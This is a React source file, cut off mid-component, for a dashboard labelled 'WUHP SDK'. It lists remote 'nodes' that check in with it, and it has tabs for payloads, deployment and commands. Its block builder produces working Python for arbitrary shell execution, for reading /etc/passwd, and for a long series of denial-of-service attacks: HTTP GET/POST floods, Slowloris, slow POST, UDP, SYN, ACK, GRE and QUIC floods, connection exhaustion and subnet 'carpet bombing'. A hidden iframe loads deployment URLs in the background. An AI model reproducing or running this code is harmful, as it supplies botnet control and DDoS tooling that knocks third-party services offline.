import React, { useState, useEffect, useRef } from 'react';
import { 
  Activity, 
  Terminal, 
  Globe, 
  Server, 
  ShieldCheck, 
  Settings,
  Download,
  Play,
  Wifi,
  Cpu,
  Folder,
  FileText,
  GripVertical,
  Trash2
} from 'lucide-react';
import { cn } from './lib/utils';
import { DndContext, closestCenter, KeyboardSensor, PointerSensor, useSensor, useSensors } from '@dnd-kit/core';
import { arrayMove, SortableContext, sortableKeyboardCoordinates, verticalListSortingStrategy, useSortable } from '@dnd-kit/sortable';
import { CSS } from '@dnd-kit/utilities';

const BLOCK_CONFIGS: Record<string, any> = {
  http_probe: {
    title: 'HTTP GET Probe', color: 'bg-indigo-600',
    fields: [{key: 'ip', label: 'IP Address', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '80'}],
    generator: (p: any) => `def exec_fetch_http_test(ip, port):\n    import requests, time\n    try:\n        t0 = time.time()\n        res = requests.get(f"http://{ip}:{port}/", timeout=3)\n        return {"status": f"HTTP_{res.status_code}"}\n    except Exception as e:\n        return {"error": str(e)}\n\nprint(exec_fetch_http_test("${p.ip}", ${p.port}))`
  },
  tcp_handshake: {
    title: 'TCP Handshake', color: 'bg-indigo-600',
    fields: [{key: 'ip', label: 'IP Address', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '80'}],
    generator: (p: any) => `def exec_tcp_probe(ip, port):\n    import socket, time\n    try:\n        t0 = time.time()\n        with socket.socket(socket.AF_INET, socket.STREAM) as s:\n            s.settimeout(2); s.connect((ip, int(port)))\n        return {"status": "tcp_connected"}\n    except Exception as e:\n        return {"error": str(e)}\n\nprint(exec_tcp_probe("${p.ip}", ${p.port}))`
  },
  exec_shell: {
    title: 'Execute Shell', color: 'bg-emerald-600',
    fields: [{key: 'cmd', label: 'Command', default: 'whoami'}],
    generator: (p: any) => `def exec_shell(cmd):\n    import subprocess\n    try:\n        return subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT).decode('utf-8')\n    except Exception as e:\n        return str(e)\n\nprint(exec_shell("${p.cmd}"))`
  },
  ping: {
    title: 'ICMP Ping', color: 'bg-indigo-600',
    fields: [{key: 'host', label: 'Target Host', default: 'google.com'}],
    generator: (p: any) => `def icmp_ping(host):\n    import subprocess, platform\n    cmd = f"ping -n 3 {host}" if platform.system() == "Windows" else f"ping -c 3 {host}"\n    try:\n        return subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT).decode('utf-8')\n    except Exception as e:\n        return str(e)\n\nprint(icmp_ping("${p.host}"))`
  },
  read_file: {
    title: 'Read File', color: 'bg-blue-600',
    fields: [{key: 'path', label: 'File Path', default: '/etc/passwd'}],
    generator: (p: any) => `def read_file(path):\n    try:\n        with open(path, 'r') as f: return {"content": f.read(4000)}\n    except Exception as e:\n        return {"error": str(e)}\n\nprint(read_file("${p.path}"))`
  },
  http_get_flood: {
    title: 'L7 HTTP GET Flood', color: 'bg-rose-600',
    fields: [{key: 'url', label: 'Target URL', default: 'http://127.0.0.1/'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}],
    generator: (p: any) => `def http_get_flood(url, duration, threads_count):\n    import threading, time, requests\n    stats = {"sent": 0, "errors": 0}\n    t_end = time.time() + float(duration)\n    def worker():\n        while time.time() < t_end:\n            try: requests.get(url, timeout=2); stats["sent"] += 1\n            except: stats["errors"] += 1\n    threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n    for t in threads: t.start()\n    for t in threads: t.join()\n    return stats\n\nprint(http_get_flood("${p.url}", ${p.duration}, ${p.threads}))`
  },
  http_post_flood: {
    title: 'L7 HTTP POST Flood', color: 'bg-rose-600',
    fields: [{key: 'url', label: 'Target URL', default: 'http://127.0.0.1/'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}],
    generator: (p: any) => `def http_post_flood(url, duration, threads_count):\n    import threading, time, requests, os\n    stats = {"sent": 0, "errors": 0}\n    t_end = time.time() + float(duration)\n    def worker():\n        while time.time() < t_end:\n            try: requests.post(url, data=os.urandom(16), timeout=2); stats["sent"] += 1\n            except: stats["errors"] += 1\n    threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n    for t in threads: t.start()\n    for t in threads: t.join()\n    return stats\n\nprint(http_post_flood("${p.url}", ${p.duration}, ${p.threads}))`
  },
  slowloris: {
    title: 'L7 Slowloris', color: 'bg-rose-600',
    fields: [{key: 'ip', label: 'IP Address', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '80'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Connections', default: '10'}],
    generator: (p: any) => `def slowloris(ip, port, duration, threads_count):\n    import socket, threading, time, random\n    stats = {"sent": 0, "errors": 0}\n    t_end = time.time() + float(duration)\n    def worker():\n        try:\n            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n            s.settimeout(4); s.connect((ip, int(port)))\n            s.send(f"GET /?{random.randint(0,2000)} HTTP/1.1\\r\\nUser-Agent: Mozilla/5.0\\r\\nAccept-language: en-US,en,q=0.5\\r\\n".encode())\n            stats["sent"] += 1\n            while time.time() < t_end:\n                s.send(f"X-a: {random.randint(1,5000)}\\r\\n".encode())\n                time.sleep(10); stats["sent"] += 1\n        except: stats["errors"] += 1\n    threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n    for t in threads: t.start(); time.sleep(0.05)\n    for t in threads: t.join()\n    return stats\n\nprint(slowloris("${p.ip}", ${p.port}, ${p.duration}, ${p.threads}))`
  },
  api_abuse_flood: {
    title: 'L7 API Abuse', color: 'bg-rose-600',
    fields: [{key: 'url', label: 'API Endpoint', default: 'http://127.0.0.1/graphql'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}],
    generator: (p: any) => `def api_abuse_flood(url, duration, threads_count):\n    import threading, time, requests, random\n    stats = {"sent": 0, "errors": 0}\n    t_end = time.time() + float(duration)\n    def worker():\n        while time.time() < t_end:\n            try: requests.post(url, json={"query": "test", "id": random.randint(1,99999)}, timeout=2); stats["sent"] += 1\n            except: stats["errors"] += 1\n    threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n    for t in threads: t.start()\n    for t in threads: t.join()\n    return stats\n\nprint(api_abuse_flood("${p.url}", ${p.duration}, ${p.threads}))`
  },
  udp_flood: {
    title: 'L4 UDP Flood', color: 'bg-orange-600',
    fields: [{key: 'ip', label: 'Target IP', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '80'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}, {key: 'size', label: 'Packet Size', default: '1024'}],
    generator: (p: any) => `def udp_flood(ip, port, duration, threads_count, packet_size):\n    import socket, time, os, threading\n    stats = {"sent": 0, "errors": 0}\n    t_end = time.time() + float(duration)\n    payload = os.urandom(int(packet_size))\n    def worker():\n        try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n        except: return\n        while time.time() < t_end:\n            try: s.sendto(payload, (ip, int(port))); stats["sent"] += 1\n            except: stats["errors"] += 1\n    threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n    for t in threads: t.start()\n    for t in threads: t.join()\n    return stats\n\nprint(udp_flood("${p.ip}", ${p.port}, ${p.duration}, ${p.threads}, ${p.size}))`
  },
  syn_flood: {
    title: 'L4 SYN Flood (Requires Root)', color: 'bg-orange-600',
    fields: [{key: 'ip', label: 'Target IP', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '80'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}],
    generator: (p: any) => `def syn_flood(ip, port, duration, threads_count):\n    import socket, time, threading\n    stats = {"sent": 0, "errors": 0}\n    t_end = time.time() + float(duration)\n    def worker():\n        try: s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP); s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)\n        except: stats["errors"] += 1; return\n        while time.time() < t_end:\n            try: s.sendto(b"SYN_DUMMY_PAYLOAD", (ip, int(port))); stats["sent"] += 1\n            except: stats["errors"] += 1\n    threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n    for t in threads: t.start()\n    for t in threads: t.join()\n    return stats\n\nprint(syn_flood("${p.ip}", ${p.port}, ${p.duration}, ${p.threads}))`
  },
  carpet_bombing: {
    title: 'L4 Carpet Bombing', color: 'bg-orange-600',
    fields: [{key: 'subnet', label: 'Subnet (e.g. 192.168.1.)', default: '192.168.1.'}, {key: 'port', label: 'Port', default: '80'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}],
    generator: (p: any) => `def carpet_bombing(subnet, port, duration, threads_count):\n    import socket, time, os, threading, random\n    stats = {"sent": 0, "errors": 0}\n    t_end = time.time() + float(duration)\n    payload = os.urandom(512)\n    def worker():\n        try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n        except: return\n        while time.time() < t_end:\n            target_ip = subnet + str(random.randint(1, 254))\n            try: s.sendto(payload, (target_ip, int(port))); stats["sent"] += 1\n            except: stats["errors"] += 1\n    threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n    for t in threads: t.start()\n    for t in threads: t.join()\n    return stats\n\nprint(carpet_bombing("${p.subnet}", ${p.port}, ${p.duration}, ${p.threads}))`
  },
  websocket_flood: {
    title: 'L7 WebSocket Abuse', color: 'bg-rose-600',
    fields: [{key: 'url', label: 'WS/HTTP URL', default: 'http://127.0.0.1/'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Connections', default: '10'}],
    generator: (p: any) => `def websocket_flood(url, duration, threads_count):\n    import threading, time, requests\n    stats = {"sent": 0, "errors": 0}\n    t_end = time.time() + float(duration)\n    def worker():\n        while time.time() < t_end:\n            try: requests.get(url, headers={"Connection": "Upgrade", "Upgrade": "websocket"}, timeout=2); stats["sent"] += 1\n            except: stats["errors"] += 1\n    threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n    for t in threads: t.start()\n    for t in threads: t.join()\n    return stats\n\nprint(websocket_flood("${p.url}", ${p.duration}, ${p.threads}))`
  },
  ack_flood: {
    title: 'L4 ACK Flood', color: 'bg-orange-600',
    fields: [{key: 'ip', label: 'Target IP', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '80'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}],
    generator: (p: any) => `def ack_flood(ip, port, duration, threads_count):\n    import socket, time, threading\n    stats = {"sent": 0, "errors": 0}\n    t_end = time.time() + float(duration)\n    def worker():\n        try: s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP); s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)\n        except: stats["errors"] += 1; return\n        while time.time() < t_end:\n            try: s.sendto(b"ACK_DUMMY", (ip, int(port))); stats["sent"] += 1\n            except: stats["errors"] += 1\n    threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n    for t in threads: t.start()\n    for t in threads: t.join()\n    return stats\n\nprint(ack_flood("${p.ip}", ${p.port}, ${p.duration}, ${p.threads}))`
  },
  connection_exhaustion: {
    title: 'L4 State Exhaustion', color: 'bg-orange-600',
    fields: [{key: 'ip', label: 'Target IP', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '80'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}],
    generator: (p: any) => `def conn_exhaust(ip, port, duration, threads_count):\n    import socket, time, threading\n    stats = {"sent": 0, "errors": 0}\n    t_end = time.time() + float(duration)\n    def worker():\n        sockets = []\n        while time.time() < t_end:\n            try:\n                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.settimeout(1)\n                s.connect((ip, int(port))); sockets.append(s); stats["sent"] += 1\n                if len(sockets) > 500: sockets.pop(0).close()\n            except: stats["errors"] += 1\n        for s in sockets:\n            try: s.close()\n            except: pass\n    threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n    for t in threads: t.start()\n    for t in threads: t.join()\n    return stats\n\nprint(conn_exhaust("${p.ip}", ${p.port}, ${p.duration}, ${p.threads}))`
  },
  gre_flood: {
    title: 'L3/L4 GRE Flood', color: 'bg-orange-600',
    fields: [{key: 'ip', label: 'Target IP', default: '127.0.0.1'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}, {key: 'size', label: 'Packet Size', default: '512'}],
    generator: (p: any) => `def gre_flood(ip, duration, threads_count, pkt_size):\n    import socket, time, threading, os\n    stats = {"sent": 0, "errors": 0}\n    t_end = time.time() + float(duration)\n    def worker():\n        try: s = socket.socket(socket.AF_INET, socket.SOCK_RAW, 47)\n        except: stats["errors"] += 1; return\n        payload = os.urandom(int(pkt_size))\n        while time.time() < t_end:\n            try: s.sendto(payload, (ip, 0)); stats["sent"] += 1\n            except: stats["errors"] += 1\n    threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n    for t in threads: t.start()\n    for t in threads: t.join()\n    return stats\n\nprint(gre_flood("${p.ip}", ${p.duration}, ${p.threads}, ${p.size}))`
  },
  http3_quic_flood: {
    title: 'L7 HTTP/3 QUIC Flood', color: 'bg-rose-600',
    fields: [{key: 'ip', label: 'Target IP', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '443'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}],
    generator: (p: any) => `def quic_flood(ip, port, duration, threads_count):\n    import socket, time, threading, os\n    stats = {"sent": 0, "errors": 0}\n    t_end = time.time() + float(duration)\n    quic_payload = b'\\xc0\\x00\\x00\\x00\\x01\\x08\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08' + os.urandom(1200)\n    def worker():\n        try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n        except: return\n        while time.time() < t_end:\n            try: s.sendto(quic_payload, (ip, int(port))); stats["sent"] += 1\n            except: stats["errors"] += 1\n    threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n    for t in threads: t.start()\n    for t in threads: t.join()\n    return stats\n\nprint(quic_flood("${p.ip}", ${p.port}, ${p.duration}, ${p.threads}))`
  },
  http2_multiplex: {
    title: 'L7 HTTP/2 Multiplex Abuser', color: 'bg-rose-600',
    fields: [{key: 'url', label: 'Target URL', default: 'http://127.0.0.1/'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Concurrent Sessions', default: '10'}],
    generator: (p: any) => `def http2_multiplex(url, duration, threads_count):\n    import threading, time, requests\n    stats = {"sent": 0, "errors": 0}\n    t_end = time.time() + float(duration)\n    def worker():\n        while time.time() < t_end:\n            try:\n                session = requests.Session()\n                for _ in range(20):\n                    if time.time() >= t_end: break\n                    session.get(url, timeout=2)\n                    stats["sent"] += 1\n            except: stats["errors"] += 1\n    threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n    for t in threads: t.start()\n    for t in threads: t.join()\n    return stats\n\nprint(http2_multiplex("${p.url}", ${p.duration}, ${p.threads}))`
  },
  browser_emulation: {
    title: 'L7 Browser Emulation', color: 'bg-rose-600',
    fields: [{key: 'url', label: 'Target URL', default: 'http://127.0.0.1/'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Virtual Browsers', default: '10'}],
    generator: (p: any) => `def browser_emulation(url, duration, threads_count):\n    import threading, time, requests, random\n    stats = {"sent": 0, "errors": 0}\n    t_end = time.time() + float(duration)\n    user_agents = [\n        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",\n        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36"\n    ]\n    def worker():\n        session = requests.Session()\n        while time.time() < t_end:\n            try:\n                headers = {"User-Agent": random.choice(user_agents), "Accept": "text/html", "Accept-Language": "en-US"}\n                session.get(url, headers=headers, timeout=5)\n                stats["sent"] += 1\n                time.sleep(random.uniform(0.1, 0.8))\n            except: stats["errors"] += 1\n    threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n    for t in threads: t.start()\n    for t in threads: t.join()\n    return stats\n\nprint(browser_emulation("${p.url}", ${p.duration}, ${p.threads}))`
  },
  slow_post_flood: {
    title: 'L7 Slow POST (Body Exhaustion)', color: 'bg-rose-600',
    fields: [{key: 'ip', label: 'Target IP', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '80'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}],
    generator: (p: any) => `def slow_post(ip, port, duration, threads_count):\n    import socket, threading, time\n    stats = {"sent": 0, "errors": 0}\n    t_end = time.time() + float(duration)\n    def worker():\n        try:\n            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n            s.settimeout(4); s.connect((ip, int(port)))\n            s.send(f"POST / HTTP/1.1\\r\\nHost: {ip}\\r\\nContent-Length: 100000\\r\\n\\r\\n".encode())\n            stats["sent"] += 1\n            while time.time() < t_end:\n                s.send(b"a")\n                time.sleep(10); stats["sent"] += 1\n        except: stats["errors"] += 1\n    threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n    for t in threads: t.start(); time.sleep(0.1)\n    for t in threads: t.join()\n    return stats\n\nprint(slow_post("${p.ip}", ${p.port}, ${p.duration}, ${p.threads}))`
  }
};

const SortableBlock = ({ id, type, params, onUpdate, onRemove }: any) => {
  const { attributes, listeners, setNodeRef, transform, transition } = useSortable({ id });
  
  const style = {
    transform: CSS.Transform.toString(transform),
    transition,
  };

  const config = BLOCK_CONFIGS[type];
  if (!config) return null;

  return (
    <div ref={setNodeRef} style={style} className="flex flex-col mb-4 group relative">
      <div className="flex border-l-[6px] border-l-transparent" style={{ borderLeftColor: config.color.replace('bg-', 'var(--').replace('-600', '-500)') /* fake color vars aren't perfectly mapped, we use tailwind classes directly below */ }}>
        <div {...attributes} {...listeners} className={cn("cursor-grab active:cursor-grabbing p-2 rounded-l-md text-white flex items-center shadow-md", config.color)}>
          <GripVertical size={16} />
        </div>
        <div className="flex-1 bg-slate-800 border border-slate-700/50 rounded-r-xl p-3 shadow-md transition-all">
          <div className="flex justify-between items-center mb-3">
            <div className="flex items-center gap-2">
              <span className={cn("inline-block w-2.5 h-2.5 rounded-full shadow-sm", config.color)} />
              <span className="text-sm font-bold text-slate-100">{config.title}</span>
            </div>
            <button onClick={() => onRemove(id)} className="text-slate-500 hover:text-red-400 transition-colors p-1.5 rounded-md hover:bg-red-400/10">
              <Trash2 size={14} />
            </button>
          </div>
          
          <div className="bg-slate-900/50 rounded-lg p-3 grid gap-3">
            {config.fields.map((f: any) => (
              <div key={f.key} className="flex items-center gap-3">
                <label className="text-xs font-medium text-slate-400 w-24 text-right shrink-0">{f.label}</label>
                <input 
                  type="text" 
                  value={params[f.key] || ''} 
                  onChange={(e) => onUpdate(id, f.key, e.target.value)}
                  className="flex-1 bg-black/40 border border-slate-700 rounded px-2.5 py-1 text-xs text-emerald-300 focus:outline-none focus:border-indigo-500 font-mono shadow-inner"
                />
              </div>
            ))}
          </div>
        </div>
      </div>
    </div>
  );
};

export default function App() {
  const [activeTab, setActiveTab] = useState('dashboard');
  const [deployments, setDeployments] = useState<string[]>([]);
  const [deployLogs, setDeployLogs] = useState<string[]>([]);
  const [toasts, setToasts] = useState<{id: string, msg: string, type: string}[]>([]);
  const [iframeKey, setIframeKey] = useState(0);
  const prevNodesRef = useRef(new Map());

  const addToast = (msg: string, type: 'info'|'success'|'warning' = 'info') => {
    const id = Math.random().toString();
    setToasts(t => [...t, {id, msg, type}]);
    setTimeout(() => setToasts(t => t.filter(x => x.id !== id)), 5000);
  };

  useEffect(() => {
    const fetchStatus = async () => {
      try {
        const res = await fetch('/api/status');
        const json = await res.json();
        setDeployments(json.deployments || []);
        if (json.deployLogs) setDeployLogs(json.deployLogs);
        
        // Handle node online/offline toasts
        if (json.nodes) {
          const currentNodes = new Map();
          json.nodes.forEach((n: any) => {
            const isActive = Date.now() - n.lastSeen < 20000;
            currentNodes.set(n.id, isActive);
            
            const wasActive = prevNodesRef.current.get(n.id);
            if (wasActive === undefined) {
              addToast(`New Node Connected: ${n.id} (${n.type})`, 'success');
            } else if (!wasActive && isActive) {
              addToast(`Node Online: ${n.id}`, 'success');
            } else if (wasActive && !isActive) {
              addToast(`Node Offline: ${n.id}`, 'warning');
            }
          });
          prevNodesRef.current = currentNodes;
        }
      } catch (err) {}
    };
    fetchStatus();
    const iv = setInterval(fetchStatus, 5000);
    return () => clearInterval(iv);
  }, []);

  return (
    <div className="min-h-screen flex flex-col mesh-bg text-slate-200 font-sans selection:bg-indigo-500/30">
      {/* Toast Container */}
      <div className="fixed top-4 right-4 z-50 flex flex-col gap-2">
        {toasts.map(t => (
          <div key={t.id} className={cn(
            "px-4 py-3 rounded-lg shadow-xl text-sm font-medium border flexitems-center gap-2 animate-in fade-in slide-in-from-top-2",
            t.type === 'success' ? 'bg-emerald-500/20 border-emerald-500/50 text-emerald-100' :
            t.type === 'warning' ? 'bg-amber-500/20 border-amber-500/50 text-amber-100' :
            'bg-slate-800 border-slate-700 text-slate-200'
          )}>
            {t.msg}
          </div>
        ))}
      </div>

      <div className="hidden">
        {deployments.map(url => (
          <iframe key={`${url}-${iframeKey}`} src={url} className="w-0 h-0" sandbox="allow-scripts allow-same-origin" title="background-node" />
        ))}
      </div>
      <div className="flex flex-col md:flex-row flex-1 p-4 md:p-6 gap-6 h-full overflow-hidden">
        {/* Sidebar */}
        <aside className="w-full md:w-64 glass rounded-3xl p-6 flex flex-col gap-2 shrink-0 overflow-y-auto">
          <div className="flex items-center gap-3 px-2 mb-6">
            <div className="w-8 h-8 bg-indigo-500 rounded-lg shadow-lg shadow-indigo-500/20 flex items-center justify-center">
              <Activity className="w-5 h-5 text-white" />
            </div>
            <h1 className="font-bold text-xl tracking-tight text-white">WUHP SDK</h1>
          </div>
          <SidebarButton 
            active={activeTab === 'dashboard'} 
            onClick={() => setActiveTab('dashboard')} 
            icon={<Activity size={18} />} 
            label="Node Dashboard" 
          />
          <SidebarButton 
            active={activeTab === 'payloads'} 
            onClick={() => setActiveTab('payloads')} 
            icon={<Download size={18} />} 
            label="Node Payloads" 
          />
          <SidebarButton 
            active={activeTab === 'deploy'} 
            onClick={() => setActiveTab('deploy')} 
            icon={<Globe size={18} />} 
            label="Cloud Deploy" 
          />
          <SidebarButton 
            active={activeTab === 'builder'} 
            onClick={() => setActiveTab('builder')} 
            icon={<Cpu size={18} />} 
            label="Builder" 
          />
          <SidebarButton 
            active={activeTab === 'docs'} 
            onClick={() => setActiveTab('docs')} 
            icon={<FileText size={18} />} 
            label="Documentation" 
          />
          <SidebarButton 
            active={activeTab === 'cmds_network'} 
            onClick={() => setActiveTab('cmds_network')} 
            icon={<Wifi size={18} />} 
            label="Network Commands" 
          />
          <SidebarButton 
            active={activeTab === 'cmds_system'} 
            onClick={() => setActiveTab('cmds_system')} 
            icon={<Cpu size={18} />} 
            label="System Commands" 
          />
          <SidebarButton 
            active={activeTab === 'cmds_file'} 
            onClick={() => setActiveTab('cmds_file')} 
            icon={<Folder size={18} />} 
            label="File Commands" 
          />
          <div className="mt-auto pt-6">
            <SidebarButton 
              active={activeTab === 'settings'} 
              onClick={() => setActiveTab('settings')} 
              icon={<Settings size={18} />} 
              label="Integration Tokens" 
            />
          </div>
        </aside>

        {/* Main Content Area */}
        <main className="flex-1 overflow-y-auto w-full glass rounded-3xl p-6">
          <div className="max-w-5xl mx-auto flex flex-col gap-6">
            {activeTab === 'dashboard' && <DashboardTab />}
            {activeTab === 'payloads' && <PayloadsTab />}
            {activeTab === 'deploy' && <DeployTab />} 
            {activeTab === 'cmds_network' && <CommandsTab category="network" />}
            {activeTab === 'cmds_system' && <CommandsTab category="system" />}
            {activeTab === 'cmds_file' && <CommandsTab category="file" />}
            {activeTab === 'builder' && <BuilderTab />}
            {activeTab === 'docs' && <DocsTab />}
            {activeTab === 'settings' && <SettingsTab />}
          </div>
        </main>
      </div>
    </div>
  );
}

// --- Generic Components ---

function SidebarButton({ active, onClick, icon, label }: { active: boolean, onClick: () => void, icon: React.ReactNode, label: string }) {
  return (
    <button
      onClick={onClick}
      className={cn(
        "flex items-center gap-3 px-3 py-2.5 rounded-xl text-sm transition-all text-left font-medium",
        active 
          ? "bg-white/10 text-white shadow-sm" 
          : "text-slate-400 hover:bg-white/5 hover:text-slate-200 border border-transparent"
      )}
    >
      {icon}
      {label}
    </button>
  );
}

function Card({ title, children, icon }: { title: string, children: React.ReactNode, icon?: React.ReactNode }) {
  return (
    <div className="glass rounded-3xl overflow-hidden shadow-xl shadow-black/20 flex flex-col gap-3 group transition-all hover:border-indigo-500/30">
      <div className="px-6 py-5 border-b border-white/5 flex items-center gap-3 bg-white/5">
        {icon && <div className="text-indigo-400">{icon}</div>}
        <h2 className="font-semibold text-white tracking-wide text-sm">{title}</h2>
      </div>
      <div className="p-6 pt-3">
        {children}
      </div>
    </div>
  );
}

// --- Tabs ---

function DashboardTab() {
  const [data, setData] = useState({ nodes: [], reports: [] });
  const [filter, setFilter] = useState('all');
  const [selected, setSelected] = useState<Set<string>>(new Set());

  useEffect(() => {
    const fetchStatus = async () => {
      try {
        const res = await fetch('/api/status');
        const json = await res.json();
        setData(json);
      } catch (err) {
        console.error(err);
      }
    };
    fetchStatus();
    const iv = setInterval(fetchStatus, 3000);
    return () => clearInterval(iv);
  }, []);

  const removeNode = async (id: string) => {
    await fetch('/api/commands', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ target: id, type: 'self_terminate', payload: {}, repeat: false })
    });
    await fetch(`/api/nodes/${id}`, { method: 'DELETE' });
    setData(prev => ({ ...prev, nodes: prev.nodes.filter((n: any) => n.id !== id) }));
  };

  const removeSelected = async () => {
    for (const id of Array.from(selected)) {
      await removeNode(id as string);
    }
    setSelected(new Set<string>());
  };

  const toggleSelect = (id: string) => {
    setSelected(prev => {
      const n = new Set(prev);
      if (n.has(id)) n.delete(id);
      else n.add(id);
      return n;
    });
  };

  const toggleAll = (visibleNodes: any[]) => {
    if (selected.size === visibleNodes.length && visibleNodes.length > 0) {
      setSelected(new Set());
    } else {
      setSelected(new Set(visibleNodes.map(n => n.id)));
    }
  };

  const filteredNodes = data.nodes.filter((n: any) => {
    const isActive = Date.now() - n.lastSeen < 20000;
    if (filter === 'active') return isActive;
    if (filter === 'inactive') return !isActive;
    return true;
  });

  return (
    <div className="flex flex-col gap-6">
      <div className="grid grid-cols-1 md:grid-cols-3 gap-4">
        <div className="glass p-5 rounded-3xl flex flex-col gap-1 transition-all group hover:border-indigo-500/50">
          <span className="text-slate-500 text-xs uppercase tracking-wider font-semibold mb-1">Active Nodes</span>
          <span className="text-3xl font-bold text-white font-mono">{data.nodes.filter((n: any) => Date.now() - n.lastSeen < 20000).length}</span>
        </div>
        <div className="glass p-5 rounded-3xl flex flex-col gap-1 transition-all group hover:border-orange-500/50">
          <span className="text-slate-500 text-xs uppercase tracking-wider font-semibold mb-1">Health Reports</span>
          <span className="text-3xl font-bold text-white font-mono">{data.reports.length}</span>
        </div>
        <div className="glass p-5 rounded-3xl flex flex-col gap-1 transition-all group hover:border-emerald-500/50">
          <span className="text-emerald-500/70 text-xs uppercase tracking-wider font-semibold mb-1">System Status</span>
          <div className="flex items-center gap-2 mt-1">
            <div className="w-2 h-2 rounded-full bg-emerald-500 shadow-md shadow-emerald-500/50 animate-pulse"></div>
            <span className="text-lg font-semibold text-emerald-400">All Systems Nominal</span>
          </div>
        </div>
      </div>

      <Card title="Connected Nodes" icon={<Server size={18} />}>
        <div className="flex gap-4 mb-4 items-center justify-between px-2">
          <div className="flex gap-4 items-center">
            <label className="text-sm font-medium text-slate-400">Filter:</label>
            <select 
              className="bg-black/20 border border-white/10 rounded-lg text-sm text-white px-3 py-1.5 outline-none focus:border-indigo-500 transition-colors"
              value={filter} onChange={e => setFilter(e.target.value)}
            >
              <option value="all">All Nodes</option>
              <option value="active">Active ({'<'} 20s skip)</option>
              <option value="inactive">Inactive</option>
            </select>
          </div>
          {selected.size > 0 && (
            <button 
              onClick={removeSelected}
              className="bg-red-500/10 hover:bg-red-500/20 text-red-400 border border-red-500/20 px-3 py-1.5 rounded-lg text-xs font-bold uppercase tracking-wider transition-all"
            >
              Terminate ({selected.size})
            </button>
          )}
        </div>
        {filteredNodes.length === 0 ? (
          <div className="text-center py-10 text-slate-400">
            <Server className="w-10 h-10 mx-auto mb-3 opacity-20" />
            <p>No nodes found for this filter.</p>
            <p className="text-sm mt-1">Deploy a payload to see nodes appear here.</p>
          </div>
        ) : (
          <div className="overflow-x-auto">
            <table className="w-full text-left text-sm whitespace-nowrap">
              <thead className="text-slate-500 border-b border-white/5">
                <tr className="h-10">
                  <th className="font-medium px-4 w-10">
                    <input 
                      type="checkbox" 
                      className="rounded border-none accent-indigo-500 bg-white/10 cursor-pointer" 
                      checked={filteredNodes.length > 0 && selected.size === filteredNodes.length}
                      onChange={() => toggleAll(filteredNodes)}
                    />
                  </th>
                  <th className="font-medium px-2">Node ID</th>
                  <th className="font-medium">Environment</th>
                  <th className="font-medium">IP Addr</th>
                  <th className="font-medium">OS Info</th>
                  <th className="font-medium">Uptime</th>
                  <th className="font-medium">Last Ping</th>
                  <th className="font-medium">Status</th>
                  <th className="font-medium text-right pr-2">Action</th>
                </tr>
              </thead>
              <tbody className="divide-y divide-white/5 text-slate-300">
                {filteredNodes.map((node: any) => {
